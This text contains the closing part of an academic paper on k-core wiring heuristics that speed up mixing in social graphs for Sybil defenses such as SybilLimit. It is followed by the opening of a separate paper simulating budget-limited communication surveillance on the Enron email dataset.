the mixing time for their operation. This impracticality comes from the fact
that these algorithms will ultimately improve the mixing characteristics of both
honest and dishonest nodes arbitrarily, since the probability of choosing an hon-
est and a Sybil node in the graph as a next step of the random walk due to
the teleportation is equal, even when the algorithm is performed in a centralized
fashion. Notice the latter shortcoming can be prevented if the label of destina-
tion is known in advance. However, deviation based on the label would of the
nodes will reduce the effectiveness of the algorithm by not achieving the claimed
improvement in the mixing time in aforementioned work.

As we have shown in the previous section, the mixing characteristics of social
graphs, which influences the operation of Sybil defenses on top of social networks,
depend on the core structure of these graphs. Slower mixing graphs tend to have
multiple cores as the parameter k increases, whereas fast mixing graphs resist
dissolution and consist of a single core as k increases. Using this observation, we
proceed to describe several heuristics to improve the mixing time, and ultimately
improve the operation of Sybil defenses on top social networks. The main goal
of these heuristics is to prevent the dissolution of social graphs into multiple
cores, thus improving its connectivity in a meaningful way. Our work is different
in both objective and tools we use, and is tailored for random walks on social
graphs.
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5.1 Heuristics to Improve the Mixing Time
From our previous measurements we observe that as k increases the graph dis-
solves into multiple cores, particularly in slow mixing social graphs. Accordingly,
we refer to the largest core for a given k value as the main core, and other cores
as minor cores. In each of the following heuristics we aim to improve the mixing
time by preventing the creation of multiple cores as k increases using auxiliary
edges. We call this process of adding edges as core wiring. We introduce these
heuristics with sybil defenses in mind as potential applications.

Heuristic X-1-C. The intuition here is to add edges so that only prevent the
dissolution of the graph into multiple cores as k increases. Accordingly, for Gk =
{G1

k, . . . , G
tk
k } (k ← 1 and tk > 1), where G1

k is the main core and Gi
k for

i ← 2 is a minor core, we add an edge between only one random node vij
k in the

minor core Gi
k (where j is chosen at random) and v1l

k in the major core G1
k. We

repeat that process as k increases to its ultimate value upon which the whole
graph diminishes. The total number of added edges in the original graph G is
[(
∑kmax

k=1 tk) − kmax], where kmax is the largest k of a core in G.

Heuristic X-A-C. An illustration of the operation of the heuristic is high-
lighted in Fig. 4. As k increases, for k = 1 and k = 2, the resulting graph is a
single component, so no edges are added to it. However, when k = 3, the graph
dissolves into two components, as shown in Fig. 1(c). Thus, two nodes are ran-
domly selected; one from each component (i.e., one is from the major and the
other is the minor component, which these labels used interchangeably for the
graph in G3). Then an edge is created between the two selected nodes, which is
the dotted edge in Fig. 4, created between node v5 and v2.

Unlike in the previous heuristic where only dissolution prevent measure is
taken to improve the connectivity of the graph, in this heuristic we aim to further
improve the connectivity by adding multiple edges that would improve resilience
of the graph to the removal of edges in between of different components. The
heuristic accordingly adds multiple edges between each component in the k-core
graph, as k increases. This is, for Gk = {G1

k, . . . , G
tk
k } (k ← 1 and tk > 1), where

G1
k is the main core and Gi

k for i ← 2 is a minor core, we add an edge between
every node vij

k in the minor core Gi
k and random nodes v1l

k in the major core
G1

k. We repeat that process as k increases to its ultimate value upon which the
whole graph diminishes. The total number of added edges in the original graph
G is [(

∑kmax

k=1 tk) − k].
An illustration of this heuristic is applied to the graph in Fig. 5. In this

example, and without losing generality, recall that only G3 dissolves into multiple
components, and requires addition of edges to prevent such dissolution, as shown
in Fig. 1(c), according to the heuristic X-A-C. Also, without losing generality,
let G1

3 = (V 1
3, E

1
3) where V3

1 = {v4, v5, v6, v7} be the minor core and let
G2

3 = (V 2
3, E

2
3) where V3

2 = {v0, v1, v2, v3} be the major core. In this heuristic,
every node in G2

3 is associated with a node in the major core G2
3, where the latter

node need not to be unique.
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Fig. 4. An illustration of how the k−core decomposition of the graph is used to improve
graph connectivity using X-1-C.
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Fig. 5. An illustration of how the k−core decomposition of the graph is used to improve
graph connectivity using X-A-C.

� Heuristic X-A-A. In this heuristic, we aim to further enmesh nodes in
different cores together by adding edges across cores, not only between nodes in
the major and the minor cores. To this end, we wire all nodes in a minor core to
other cores in the graph, including both minor and major cores. The number of
auxiliary edges is bounded by the order of the number of nodes in each k-core.
However, to avoid undesirable complexity in the operation of the heuristic, we
first sort all components in a given graph Gk, for any valid k, with respect to
their size (the number of nodes each component has). Then, we wire nodes in
the smaller component with nodes in the bigger component only.

�Heuristic X-A-A+. As we have seen in the previous proposed heuristics, addi-
tional edges are added to the graph in order to prevent its dissolution as k increases.
These added edges can be viewed as a cost associated with the operation of these
heuristics, and it is desirable to reduce this cost. Indeed, one desirable modifica-
tion to the previous heuristic is graph rewiring. At each time an edge is added
between two nodes in two different components, an edge is removed from either
component (for that, we remove edges from the minor component, or the com-
ponent with the smaller size when the number of minor components is greater
than one). Desirably, we remove edges that constitute triangles within that com-
ponent, and stop the process of rewiring the graph when we exhaust all triangles in
that component. This approach is similar to the concurrent work in [31], although
the strategy used for rewiring edges is different. Notice that this heuristic pre-
serves the number of edges in the original graph, and would rewire nodes instead
of adding edges. This heuristic provides the highest improvement, which suggests
that adapting this strategy to other earlier heuristics will also improve them.
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5.2 Practical Considerations

Two issues have a great influence on the operation of the proposed heuristics
in this paper that could possibly limit their practicality. In the following, we
raise these issues as questions and subsequently answer them. First, what is the
rationale of using such edges, particularly when the number of edges is large?
Second, what is the guarantee that edges are not going to be created between
good nodes and Sybil nodes, thus improving the mixing time not only for the
honest region of the graph, the region that includes honest nodes only, but also
the dishonest region of the graph as well?

We address the first issue by pointing out two practical considerations. First,
such edges can be made as a part of the natural evolution of the underlying
social graph; by incorporating them into a link recommendation system where
that is possible. Ultimately, not all links will be added to the graph, but some
of them that would be created and such links would be of great importance to
the connectivity of the graph. Second, since the operation of Sybil defenses on
top of social networks does not require a real existence of links between nodes,
but rather the flow of the walk on these links—which makes these edges virtual,
we claim that such edges can be created virtually, but not in reality. This is,
when a random walk is originated from a node on the graph, the random walk
would deviate at that point from the one done on the original graph by assigning
transition probability to the walk towards nodes connected via the virtual edges.

This part of practical consideration of our approach is in a sense similar to
the prior work that adds a random teleportation probability of the random walk
to improve the mixing time [1,9]. However, our approach will limit the number
of nodes this teleportation would be assigned to (bounded by the number of the
added edges a node in the graph would be a part of), thus no prior knowledge of
the entire graph is done. However, the probability assigned to each node that is
not connected to a given node have to be given in advance to that node. These
probabilities (practically, they will be identifiers of nodes to which random walks
are then propagated) can be distributed in the initialization phase of the Sybil
defense, which can be done in a centralized manner.

To address the second issue, we use the existing reasoning in the literature
which considers pre-existing labels of nodes in social graph to operate social
network-based Sybil defenses [3,17,26]. For example, some of the prior work in
the literature has assumed a predetermined labels of honest and Sybil nodes
to improve the operation of Sybil defenses by incorporating weights on existing
edges between some nodes in a more favorable way than others [17]. On the
other hand, some work has indeed used a pre-determined list of labeled honest
nodes to start the operation of the Sybil defense and to rank other nodes as
either honest or Sybil [3,26]. To address the second issue, we claim that one can
create edges, or add the transition probability as described previously for virtual
edges, between only previously labeled honest nodes, thus improving the mixing
time of the honest region of the graph but not the Sybil one.

In conclusion, auxiliary edges added in our heuristics can be made part of the
evolution of the social graph through link recommendation. Alternatively, when
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Fig. 6. Mixing time measurement of Physics 1 and Physics 2.

centralized initialization is viable, these edges can be virtually created among
honest nodes only if some of the nodes are labeled, as used previously.

5.3 Results and Discussion
We select Physics 1 and Physics 2, two of the slow-mixing and relatively small
social graphs to explore the potential of our heuristics in improving the mixing
time for slow-mixing social graphs. We emphasize that the main reason to choose
those social networks is their size, which enabled us to compute the mixing time
using the definition in (1) from all nodes in each of the graphs. The results
of measuring the mixing time after applying the heuristics in Sect. 5.1 for all
possible initial distributions are in Fig. 6; Figure 6(a) and (b) are for the Physics
1 dataset whereas Fig. 6(c) and (d) are for Physics 2. The total number of edges
before and after wiring graphs using the different methods explained earlier is
shown in Table 2. Notice that the total number of nodes is still the same as in
Table 1, and the number of edges in X-A-A+ is preserved as in the original graph.
In the following we elaborate on how the different heuristics affect the mixing
time and the performance of Sybil defenses on top of them.

Heuristics Impact on the Mixing Time. By comparing the different plots
in Fig. 6, it is obvious to see that the heuristics improve the mixing time, and
in some cases greatly, for both the average and the minimum time. Particular,
we first observe that our simplest heuristic (X-1-C), which produces minimal
effect on the graph density—only 122 edges are added to Physics 1—significantly
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improves the mixing time according to its definition as the maximal walk length
for a given total variational distance.

Second, the extent to which additional edges improve the mixing time differs
and depends on the initial mixing characteristics of the graph. For example,
X-1-C adds 68 edges to Physics 2 graph, which exhibits almost no effect on
the mixing time, as shown in Fig. 6(d). The original graph already mixes better
than Physics 1 dataset on average, and the addition of these edges, although
improves the slowest mixing sources, does not improve a lot on average. Finally,
by considering the number of added edges in X-A-A in both social graphs and
the measured mixing time after adding these edges, we observe that the addition
of a lot of edges—despite improving the density of the graph—does not improve
the mixing time significantly (sometimes yields worse mixing as in Fig. 6(c)).
This last remark tells us that auxiliary edges need to be placed wisely in graph
in order to improve the mixing time.

This is further made clear by observing how rewiring the graph in X-A-A+

improves the mixing time, despite maintaining the same number of edges as in
the original graph. We attribute that effect on the performance to the inherent
changes added on the graph to enmesh nodes in it, and reduce the number of
loops within community (core) that would diverge the random walks.

5.4 Heuristics Impact on Sybil Defenses

We implement and run SybilLimit [28] over the augmented social graphs, accord-
ing to the heuristics described earlier, in order to improve their mixing charac-
teristics. In the following, we use describe SybilLimit, then provide our results
and findings.

� SybilLimit. In SybilLimit, each node samples r edges in the graph as “wit-
nesses”, where r = r0

∈
m, by running r independent instances of random walks

each of length w = O(log n), which is the mixing time of the social graph.
Accordingly, there is an overwhelming probability that the sampled subsets of
honest nodes in the social graph will have a non-empty intersection, which would
be used for suspect verification. Formally, if the social graph is fast mixing—i.e.,
has a mixing time of O(log n)—then probability of the last node/edge visited
in a walk of length O(log n) drawn from the edge/node stationary distribution
is at least 1 − 1

n . Accordingly, by setting r0 properly, one can use the birth-
day paradox to make sure that the intersection between two sampled subsets
of edges (by two honest nodes) is non-empty with an overwhelming probability.
Furthermore, given that the social graph is fast mixing, and the number of attack
edges—edges that connect Sybil with honest nodes—is limited, the probability
for random walks originated from honest region ending up to the dishonest region
is limited. Chances of dishonest nodes being accepted by sampling honest edges
is limited, and bounded by the number of attack edges.

� Results. To evaluate the performance of SybilLimit when operated on the
original and modified graph, we use both the number of accepted honest sus-
pects by honest verifiers when using a fixed walk length and varying number of
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Table 2. Datasets used in this study.

Dataset
Number of edges (total)

Orig. X-1-C X-A-C X-A-A

Physics 1 13,422 13,544 16,482 25,064
Physics 2 117,619 117,687 119,082 121,169
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Fig. 7. Accepted honest nodes for varying attack edges.

 0

 0.5

 1

 1.5

 2

 2.5

 3

 20  30  40  50  60  70  80  90  100A
cc

ep
te

d 
sy

bi
l n

od
es

 (
to

ta
l, 

10
00

s)

Number of attack edges

Orig
X-1-C
X-A-C
X-A-A

X-A-A+

Fig. 8. The performance of SybilLimit: accepted sybils under varying number of attack
edges.

attack edges, and the number of accepted Sybil nodes introduced in total for the
same settings as earlier. We used a random walk length of 16 for the first two
heuristics, and notice that a walk length of 38 on the original graph is sufficient
to accept 97% of the honest suspects by honest verifiers [22]. Because X-A-A+

improves the mixing time significantly more than other heuristics, we measure
the proper walk length that makes more than 99% honest nodes accepted by
honest verifiers, and find that to be a walk length of 7 which we use for that
experiment only. Results are shown in Figs. 7 and 8, where Fig. 7 shows the
number of accepted honest nodes by honest verifiers while varying the number
of attack edges, and Fig. 8 shows the number of accepted Sybils while varying
the number of attack edges for the different heuristics on the original graph.

In this measurement we observe that (among the first three heuristics) X-
A-A accepted the most honest users followed by X-A-C and X-1-C, which is
anticipated given their consistent order with respect to their modified density
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as shown in Table 2 and the mixing characteristics as in Fig. 6. However, and as
anticipated given the theoretical interplay of the mixing characteristics and secu-
rity guarantees of Sybil defenses, X-A-A also accepted significantly more Sybil
nodes than others, given its improved mixing time. Interestingly, until the num-
ber of attack edges is 40, X-1-C does not increase the number of accepted Sybil
nodes, while increasing the number of accepted honest nodes by honest verifiers
by around 3.5 %. Comparing the Sybil defense when using the three different
heuristics, and that of X-A-A+, we find that the latter heuristic outperforms
them all by accepting most honest nodes and the least of Sybils.

6 Conclusion
In this work we explored understanding and improving the mixing characteristics
of social graphs. We pointed out that the mixing characteristics of social graphs
are related to the core structure, and used that to improve the mixing time. Using
a running example, we demonstrated that the improved mixing time affects Sybil
defenses, such as SybilLimit, although findings can be applied to other defenses.
In the future, we will also look at measures to identify wider range of the quality
of the mixing characteristics, as opposed to both extremes of the maximum and
average explained in this work.
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Abstract. Surveillance is a critical measure to break anonymity. While
surveillance with unlimited resources is often assumed as a means, against
which, to design stronger anonymity algorithms, this paper addresses the
general impact of limited resource on surveillance efficiency. The general
impact of limited resource on identifying a hidden group is experimen-
tally studied; the task of identification is only done by following com-
munications between suspects, i.e., the information of whos talking to
whom. The surveillance uses simple but intuitive algorithms to return
more intelligence with limited resource. The surveillance subject used in
this work is the publicly available Enron email data set, an actual trace
of human interaction. The initial expectation was that, even with lim-
ited resource, intuitive surveillance algorithms would return the higher
intelligence than a random approach by exploiting the general properties
of power law-style communication map. To the contrary, the impact of
limited resource was found large to the extent that intuitive algorithms
do not return significantly higher intelligence than a random approach.

Keywords: Surveillanc · Budget · Anonymity · Email data set

1 Introduction

One of the popular models of observer in the anonymity research is the one with
unlimited resource and computing power such that the observer can monitor
every single communication occurrence between any entities and exploit any
possible derived information from the observation. Anonymity algorithms that
can confuse such a powerful observer are regarded highly effective.

To understand the mighty power of the observer from a different perspec-
tive, one can ask this simple question, “what happens with limited resource?”
This is the motivation of this paper. However, a glimpse of the anonymity
research reveals the vast space of exploration to answer the question in a com-
prehensive manner. Different anonymity systems will cause different impact on
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resource-limited surveillance. This paper takes one small step to obtain insights
into the impact of limited resource on surveillance.

The model for this work involves a simple anonymity group and simple sur-
veillance algorithms; the anonymity group is the target for the surveillance to
find. The target group does not employ sophisticated anonymity algorithms but
encryption. The surveillance uses only the information of communication rela-
tionship (whos talking to whom) to find the entire target group.

The limited resource can be implemented in many different ways. In this
paper, it is represented as the “budget”, which is loosely defined as the unit of
resource to monitor one subject (potential or identified hidden group member).
So the number of subjects under surveillance is linearly proportional to the
budget.

One consequence with the budget is that the surveillance has to make a deci-
sion at some points whether to continue to monitor the subjects currently under
surveillance or replace the subject with another potentially more promising one.
By “promising” it is meant that the new subject would likely be to reveal more
members of the hidden group. Note that surveillance with unlimited resource
would not need to change the monitoring subject. That kind of surveillance
would just keep adding more subjects. This is the point where the attribute
“dynamic” is introduced to better characterize the nature of surveillance with
limited budget; the critical decision is made dynamically at points in time.

This dynamism creates the two parameters; period and selection algorithms.
The period is some time amount, at the end of which, the surveillance makes a
strategic decision to select more promising subjects for next surveillance period.
The selection algorithms assign a priority to each candidate subject. Top priority
subjects, as many as the budget allows, will be selected for next surveillance
period.

The selection algorithms in this experiment are high-degree-first (HDF),
high-traffic-first (HTF), and random (RAND). The “degree” means the num-
ber of edges from the node in the communication map. There is one-to-one
relationship between the node in the communication map and one subject in
the real world. The HDF assigns priority based on the degree; higher degree
receives higher priority. Likewise, in HTF, higher traffic (higher communication
occurrences) nodes receive higher priorities. Lastly, the RAND assigns priority
in a random fashion. It is chosen as the baseline against which the performances
of HDF and HTF are compared.

This paper uses the publicly available email data set of once American energy
company Enron, as a trace of actual human communication. The process of
identifying the target group is performed by following the communication of a
selected target. The experiments show the general impact of limited resource on
the intelligence obtained by the surveillance. The intelligence is measured by the
number of Enron employees as the hidden group and the number of third parties
who have communicated with any employee of Enron.

With the well known power-law phenomenon in social graph, where a few
nodes are connected to a large portion of the entire nodes while a large portion
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of the nodes is connected only to a few other nodes, it may be natural to expect
a maximum intelligence return from the surveillance by following the largest
degree or largest traffic volume subjects.

Surprisingly, the simulated surveillance shows the opposite. Both HDF and
HTF do not return noticeably higher intelligence than RAND. In other words,
the impact of limited resource can be larger than expected.

The paper is organized as follows. A brief survey on related work and back-
ground information are given in Sect. 2. The surveillance model, simulation
overview and simulation data are described in Sect. 3. Section 4 details the impact
of limited resource by showing the returning intelligence from HDF, HTF, and
RAND with various periods and budgets. The concluding remarks and future
work are provided in Sect. 5.

2 Related Work

In a broad sense, this paper belongs to the other side of the general idea of
anonymity research (for example, [2,3,9,13,16]). While the general goal of
anonymity research is to hide the communication relationships and the par-
ticipants identities, the goal of surveillance is to reveal such information.

There is one research work addressing the efficiency of surveillance at an
abstract level [7]. The focus of the work of [7] is different from that of this
paper, however. The former investigates the impact that the revelation of one
single member of the target group brings to the discovery of the entire target
group. Surprisingly, one single member revelation is found to divulge about 50
other members of the same target group. So, carefully planned surveillance would
need to monitor only one fiftieth of the estimated target group population.

This paper, in comparison, treats each target subject individually. It does
not take the clustering coefficient (relationships existing among members of the
same group) into account. From the perspective of [7], this work can be said to
investigate an extreme case, where each and every group has only one member.
From some distance, this work seems to be related to the existing surveillance
systems such as Carnivore [17] and NarusInsight [12]. The details of the systems
are not known to the authors, however.

A number of research works have utilized the publicly available Enron email
data set. Shetty et al. [14] created a MySql database from raw Enron email
corpus, analyzed the statistics of the data set, and derived a social network
graph. Keila et al. [11] explored the structure of the data set and analyzed the
relationships among individuals by using the word use frequency. In addition
to the study of analyzing the Enron email data set itself, some work [1,4,15]
use the data set as a testbed for the applied research. In relation to this paper,
one of them investigates the communication map of the email data set in great
detail [8]. To the best of the authors knowledge, this paper is the first attempt
to utilize the data set to investigate surveillance efficiency issues with limited
resource.
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3 Surveillance Model

3.1 Simulation Overview

The goal of this paper is to obtain insights into the impact of limited resource
on the intelligence returned by surveillance. The intelligence in this experiment
is to identify firstly the target (hidden) group and secondly the group of third
parties who have communicated with any surveillance subject.

The target group is assumed unaware of the surveillance. It does not take
any measure against the surveillance. So, whatever seen by the surveillance is
the actual communication in this model.

The process of identifying the target group is performed by following the com-
munication map drawn from observation of communication between one known
subject and another subject. The content of the communication is assumed prop-
erly encrypted so that decipherment of the message is not practical. However,
the identity of communicating subject is assumed to be decode-able by some
means.

Since the surveillance finds more unidentified subjects anyway as time pro-
gresses, the communication map grows accordingly. However, the communica-
tion map adds only newly identified subjects. Otherwise, it adds more edges or
increase traffic volumes. As the resource is limited, the communication map is
always a subset of what has happened in the real world.

At the end of each monitoring time window, within the limited budget, the
surveillance has to make a decision about which discovered subjects will be
under next round surveillance. The selected subjects will determine the quality
of next round surveillance because any new discovery will be done by identified
communications with any of those subjects. The three algorithms for the target
selection in this work are HDF, HTF, and RAND.

By identifying each subject this way the surveillance will eventually identify
and establish the entire target group if time and budget allow. The simulated
surveillance is done when the communication is exhausted, i.e., all the input
data is exhausted. Different intelligence will be returned at the end of one simu-
lation run with a different set of period, selection algorithms, and budget. This
surveillance process is simulated by the software designed for the purposes.

To obtain one point in the figures in what follows the simulation is performed
as follows.

1. A simulation data set is given, which is a trace of actual human interactions.
(a) Each communication occurrence of the data set is associated with the

time of occurrence and the sender and receiver.
(b) so, the entire data set is a collection of communications on the time line

from the beginning to the ending time points.
2. Set the surveillance period, subject selection algorithm, budget.
3. Read the first time slice of the simulation data set based on the period.
4. At the beginning of the first period,

(a) Select some subjects from the slice randomly as many as the budget.
(b) Put those under surveillance.
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Fig. 1. Illustration of the surveillance model under limited budget. This example shows
budget 3, so that only three nodes (3 red nodes) can be put under surveillance.

(c) Run surveillance.
i. Observe the communication chronologically.
ii. Create the communication map accordingly.

5. At the end of the first period, run the subject selection algorithm.
(a) Select the top priority subjects as many as the budget.
(b) Put those under surveillance.

6. Read the next time slice of the simulation data set based on the period.
(a) Run the surveillance with the subjects selected at the end of the previous

round.
i. Observe the communications with the selected subjects chronologi-

cally.
ii. Update the communication map accordingly.

7. At the end of the current period, run the subject selection algorithm.
(a) Select the top priority subjects as many as the budget.
(b) Put those under surveillance.

8. Repeat the above two steps (6, 7) until the input data set is exhausted.
9. At the end of the run report the intelligence.

(a) The identified subjects of the hidden group.
(b) The identified third party subjects, who have communicated with one of

the identified subject of the hidden group.
(c) Other information as desired.

10. Repeat the entire procedure above 30 times with the same set of period,
selection algorithm, and budget.

11. Obtain the averaged intelligence of the 30 runs.

The averaged intelligence should not be affected by the seed subjects, which
are randomly selected from the first time slice of the simulation data set.

Illustration of Limited Resource. Figure 1 shows an example of surveillance
under a limited budget. The graph represents a communication map among
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subjects from a period. The budget is set to 3. There are 23 nodes in the com-
munication map. However, the surveillance can only identify 14 nodes; 3 red
(or dark in black-and-white) nodes and 11 grey nodes. The rest 9 nodes cannot
be observed by the surveillance due to the limited budget. In other words, the
surveillance returns the intelligence of the 11 discovered nodes.

3.2 Simulation Data

The input data to the simulation is the Enron email data set. So, in this work,
each unique email address is treated as an unique individual or a possible sur-
veillance subject. The target group is the set of unique email addresses which
are in the form of “somename@enron.com”. Identifying the target group then
becomes identifying all unique email addresses which end with “@enron.com”.
The third parties are identified when their communication with any known sub-
ject is identified by the surveillance.

The first public release of the Enron email data set was done in May 2002 by
the Federal Energy Regulatory Commission [6]. Since the public release, several
groups have subsequently processed and used the data set for a range of different
research purposes. As a result, there are a few different versions available now.
In this paper, the ISI (Information Sciences Institute) MySql version [10] of the
data set is used. The ISI version was originally based on the CMU (Carnegie
Mellon University) version [5].

The CMU version contains 517,431 messages from 151 employees. By remov-
ing meaningless messages from the CMU version, the ISI version now holds
252,759 messages from 151 employees, about half of the CMU version. This work
slightly improves the ISI version in terms of message validity for surveillance
purposes. As a result, the MySql file size changes from 740 Mbytes (ISI version)
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to 667 Mbytes in this work. The data set used in this work has 252,692 email
messages, 75,529 unique email addresses from Jan. 4, 1998 through Dec. 21, 2002.

So, the simulated surveillance is to identify all the 151 employees (some-
one@enron.com) and other third parties who communicated with one of the
employees. Figure 2 shows the message distribution for the 5-year time period.
The message volume peaks around Oct. 2001.

4 Experimental Results

4.1 Simulation Specifics

Surveillance time window. The two types of window are used in this work;
time based and message based. In the time based, the entire data set is divided by
a time period. Each window has the same time span. Some windows see a large
number of email messages while some others do not. In the message based, the
entire data set is divided by a number of messages. Each window has the same
number of messages. Some windows take a large time span while some others
take a short time span. Once the simulation started, each window is fetched
from the MySql database in sequence, and, is given to the simulation software
for surveillance processing.

Target selection scope. The target nodes in the communication map are the
subjects, with which the simulated surveillance runs for the next time window.
This work uses three simple strategies for target selection; HDF, HTF, and
RAND at the end of each surveillance period. In the process of target selection,
the surveillance needs to see the pool of candidates. The pool can be formed in
two ways; local and global. The local pool is formed by the nodes observed in
the current window of communication map. The global pool is formed by the
entire nodes observed from the beginning up to the current window included.
The local pool has fewer candidates while the global pool has an increasingly
large number of candidates. Depending on the setting of the target selection, the
three strategies (HDF, HTF, and RAND) select the target nodes either from the
local or from the global scope.

Eligibility of Re-selection

1. Rule 1:
A target node in this work is not allowed to be selected again to be one of the
target nodes for the immediately following window. A target node however
can be selected again as one of the target nodes for the window, which is at
least two window-hops away. Two neighboring windows are one window-hop
away from each other. This is different from the target selection scope. The
target selection scope defines the pool of candidates. This rule defines the
eligibility of re-selection.

2. Rule 2:
One assumption of the simulation is that the target nodes will communi-
cate with unknown parties during the next surveillance window so that the
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(a) HTF, local scope, two subjects, six-hour, re-selection eligibility

+6 hours +6 hours +6 hours

Target
Candidates

Target
Candidates

Target
Candidates

(b) HDF, global scope, two subjects, six-hour, eligibility

Fig. 3. Illustration of surveillance example (target selection strategy, target selection
scope, budget, window, re-selection eligibility)

surveillance will identify more suspect nodes. A question arises when the tar-
get nodes do not exhibit communication with any unknown parties. The two
choices are available in this case for selecting target nodes;
(a) Select one of the target nodes from the past for the next window, or,
(b) Use the target nodes of the current window for the next window because

no new candidates are available from the current window.

This work uses the second choice. This “continued status of the target node
over two neighboring windows” is one exceptional case to the “Rule 1” of eligi-
bility of re-selection.

Illustration of Simulation Specifics. Figure 3 shows an illustration how the
surveillance works with different target selection strategies and scopes with the
same simulation data set for the same time windows and the same re-selection
eligibility rules; (a) shows HTF in the local scope in the three consecutive win-
dows, (b) shows HDF in the global scope in the same three consecutive windows.
The setting includes a time window of 6 hours, budget 2. The red (or dark in
black-and-white) nodes are the target nodes. The edge represents the identified
communication between nodes. The weight of the edge is the communication
volume; the number of email messages exchanged by the pair of nodes.

In the first window of the Fig. 3(a), there are two target nodes (A, B).
Through the target nodes, the surveillance observes the communication between
A and B, A and C, A and D, and, B and C. In terms of HTF, A is still the high-
est traffic node with 9 communications. However, since there are other unknown
nodes, C and D, A is not allowed to be selected to be a target node for the
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next window. Accordingly, C and D are selected as the target nodes for the next
window of 6 h. In the second window of (a), C is the highest traffic node. Again,
however, other new so-far unknown nodes are selected as the target nodes for
the third window; E and B.

The same rules are applied in Fig. 3(b). The differences are the target selec-
tion strategy and scope; HDF in the global scope. The target nodes of the first
window are A and B. At the end of the first window, A and B are still the
highest degree nodes. Due to the “eligibility of re-selection”, however, C and D
are selected as the target nodes for the second window. The global scope of the
second window is represented by the solid and dotted lines between nodes. The
solid line is the communication occurred in the current window. The dotted line
is the communication observed in previous windows. Likewise, the number in
the parenthesis on the edge is the cumulative communications between the pair
of nodes up to the immediately preceding window, while the number out of the
parenthesis represents the communications observed in the current window.

In Fig. 3(b), both B and F have the same degree, 2, at the end of the second
window. The tie is broken in this work in favor of higher traffic; B has 7(2) +
0(2), while F has 3 + 3. Eventually A and B are selected as the target nodes for
the third window. Note that A and B were the target nodes for the first window.
Both A and B are eligible to be a target node for third window because the first
and third windows are two window-hops apart. Note that the two communication
maps made by HDF and HTF grow differently with the same simulation data set.
Both communication maps are incomplete anyway due to the limited resource.

4.2 Dynamic Surveillance with Limited Budget

In the figures below, the “suspects”are the unique email addresses of 151 Enron
employees. The “nodes” are the unique addresses, which are either suspects or
any other addresses, which have communicated with the employees at least once
during the surveillance.

Figure 4 shows six graphs which differ from each other in the window type and
target selection scope. The first column (a, c, e) shows the node discovery, and,
the second column (b, d, f) shows the suspect discovery. The first 4 graphs (a, b,
c, d) are obtained using the target selection from the local scope, while the last
two (e, f) are obtained by the global scope target selection. The X-axis shows
the surveillance window size in either message or time and its corresponding
percentage of the entire surveillance period (5 years). Note that the X-axis is not
a time line. One simulation run produces a value at one point of the curve. The
Y-axis show the averaged intelligence either node or suspect discovery percentage
against the entire data set size with the given budget, window, target selection
strategy, and target selection scope.

The first two (a, b) use time windows while the last four (c, d, e, f) use
message windows. Each graph has five sets of curves; each set represents the
budget 4, 16, 64, 256, and 1024. Each set of the graph in turn shows the perfor-
mance of the three target selection strategies; HDF, HTF and RAND under the
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same conditions of budget and window. Each graph has fifteen curves in total,
therefore.

Each point is obtained by the average value of 30 simulation runs with the
same simulation setting but different seed nodes. For example, in (a), both HDF
and HTF with the window of 96 h and budget 256 produce the node discovery
ratio of about 25 %. This is the averaged value of 30 simulation runs. So each
graph is a collection of averaged values from a set of independent simulation
runs. Simulation runs higher than 30 do not produce noticeable difference. The
best possible node discovery in this experiment as seen in the figure is about
35 % or 36 % of the entire nodes when the email data set is exhausted.

Global vs. Local Scopes. The last two graphs (e, f) use the global target
selection scope while the first four (a, b, c, d) graphs use the local scope.
One can expect that the global scope would return higher intelligence because
the larger pool of candidates. To the contrary, the results are the opposite. The
node discovery rates of (e) are lower than those of (a) and (c). Similarly, the per-
formance of (f) is lower than (b) and (d). The reason is in the limited budget.
The global scope tend to select the same target nodes again in later windows
due to their accumulated higher degrees and traffic volumes. This trend prevents
other new more promising nodes from being selected. The local scope, however,
has to select the target nodes from the new local pool at each window.

Budget vs. Discovery Rates. With the increasing budgets, the 151 suspect
nodes (employee addresses) are 100 % discovered. As can be seen from (b), (d)
and (f), the complete suspect (employee) discovery is achieved with the budgets
256 and 1,024. So, budgets higher than 1,024 are not experimented. The graphs
(a), (c) and (e) show that higher budgets yield higher discovery of nodes. How-
ever, while the budget is increased by 4 times at each step, the discovery ratio
increases only sub-linearly.

The ratio of discovery to budget is found only to decrease. With this kind
of sub-linearity, an absurdly large budget would be required to discover higher
nodes than shown in (a) and (c). Further, the return intelligence is found increas-
ingly marginal from each multiplicatively higher budget investment.

Time vs. Message-Based Window. In this experiment, as can be seen in
Fig. 4(a) and (c) or (b) and (d), no big performance difference is found between
the two different kinds of surveillance period; time and message windows. This is
somewhat counter intuitive because the number of communication occurrences in
the time window is likely to be different for each period. The logical explanation
to this is that the variation of the message volume in the time window was not
to the extent, where performance degradation would be seen. As seen later, both
windows find new nodes at a rather constant rate.

HDF, HTF vs. RAND. In (a) and (c), the set of curves seems to have a mild
peak. Interestingly, the three selection strategies do not show much performance
difference until that point. After the peak, RAND shows the lowest performance
while HTF is only slightly lower than HDF. Throughout the range of budgets,
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HDF and HTF do not show noticeable difference. One possible logical explana-
tion to these results is that, up to some window sizes and budgets, for example,
512 messages or 48 to 96 h and 64 or higher budgets, intuitive algorithms do
not necessarily perform better than a random approach. In other words, the
windows and budgets up to the peak point may not be large enough for the
intuitive algorithms to exploit some patterns in the communication maps.

Peak. Interestingly, in (a) and (c), there tends to be a peak in the node discovery
ratio. For example, in (a), the node discovery reaches about a little more than
35 % with the budget 1024, the window of 48 h regardless of the strategy. Simi-
larly, in (c), the ratio reaches about 36 % with the budget 1024, the window of
512 messages, again, regardless of the strategies. The peak becomes more recog-
nizable with higher budgets. In this work, the peak is interpreted that budgets
larger than certain percentage of the entire nodes may have some optimal range
of windows to maximize the return intelligence.

The peak is clearer in the message windows in (c) although the overall perfor-
mances are not much different from those of time windows in (a). This is because
the number of message appearing in each window is constant in (c), while it is
necessarily fluctuating in the time windows in (a). The even distribution of mes-
sages in (b) must have helped manifest the optimal range of windows.

The performance degradation of (a) and (c) after the peak point is also
interpreted due to the larger window. The peak point is effectively the turning
point where the window size becomes sufficiently large to create the global scope
effect for target selection. By the same argument, the global scope also produces
flat curves in (e),

Another side effect of the global scope is the larger gap between RAND and
the other two (HDF, HTF) with large budgets (256, 1,024). In (a) and (c), the
gap between RAND and the other two becomes visible only with large budgets
and large windows. Statistically RAND has higher probability to choose worse
nodes in the global scope than in the local scope. The wider variety of the global
scope contributes to the poor target node selection of RAND. In the local scope,
since it is always created by the most promising nodes from the previous window,
RAND has lower probability to choose low performing nodes.

4.3 Variations of Dynamic Surveillance

Strategically Uneven Budget Allocation. So far, the budget is evenly allo-
